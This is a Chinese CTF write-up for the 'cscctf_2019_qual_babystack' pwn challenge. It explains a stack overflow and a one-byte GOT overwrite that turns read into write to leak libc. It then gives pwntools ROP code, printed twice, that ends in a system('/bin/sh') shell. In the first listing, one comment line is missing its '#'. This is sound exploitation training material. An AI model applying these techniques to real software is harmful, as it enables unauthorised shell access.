最近做的题目都比较有意思啊,这个题目也一样
cscctf_2019_qual_babystack
cscctf_2019_qual_babystack
题目分析
保护
漏洞
直接来了个栈溢出,我开始说这不是傻逼题目吗
plt
我靠,只有读的,这不完犊子了吗
攻击
大致思路
大致思路就是ROP 但怎么泄露libc
调试
可以看到地址只有最后一位差距,所以我们可以给got里面最后一位改成\xf0,相当于read变成write,这样就可以泄露libc,最后在利用plt+6重新解析回正常的write
第一次溢出的payload
- 修改read got表
- 泄露libc
- 利用dlreslov修改正常的read got
- 回到vuln
pop_three_ret = 0x08048519#指pop三个任意寄存器
payload = (
b"a" * 0x14
#修改read got
+ p32(elf.plt["read"])
+ p32(pop_three_ret)
+ p32(0)
+ p32(elf.got["read"])
+ p32(1)
#泄露libc
+ p32(elf.plt["read"])
+ p32(pop_three_ret)
+ p32(1)
+ p32(elf.got["read"])
+ p32(4)
#修复read got
+ p32(elf.plt["read"] + 6)
+ p32(pop_three_ret)
+ p32(0)
+ p32(0x804A020)
+ p32(1)
回到漏洞
+ p32(elf.sym["vuln"])
)
s(payload)
sleep(1)#防止粘滞
s(b"\xf0")
libc_base = u32(ru(b"\xf7")) - libc.sym["write"]
s(b"\x00")#这个只是用来修服,随便完bss写一个东西,因为dlresolv最终还是会调用一下
sleep(1)
getshell
system_addr = libc_base + libc.sym["system"]
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh\0"))
payload = b"a" * 0x14 + p32(system_addr) + p32(0) + p32(bin_sh_addr)
s(payload)
it()
allpayload
pop_three_ret = 0x08048519
payload = (
b"a" * 0x14
+ p32(elf.plt["read"])
+ p32(pop_three_ret)
+ p32(0)
+ p32(elf.got["read"])
+ p32(1)
+ p32(elf.plt["read"])
+ p32(pop_three_ret)
+ p32(1)
+ p32(elf.got["read"])
+ p32(4)
+ p32(elf.plt["read"] + 6)
+ p32(pop_three_ret)
+ p32(0)
+ p32(0x804A020)
+ p32(1)
+ p32(elf.sym["vuln"])
)
s(payload)
sleep(1)
s(b"\xf0")
libc_base = u32(ru(b"\xf7")) - libc.sym["write"]
s(b"\x00")
sleep(1)
system_addr = libc_base + libc.sym["system"]
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh\0"))
payload = b"a" * 0x14 + p32(system_addr) + p32(0) + p32(bin_sh_addr)
s(payload)
it()
|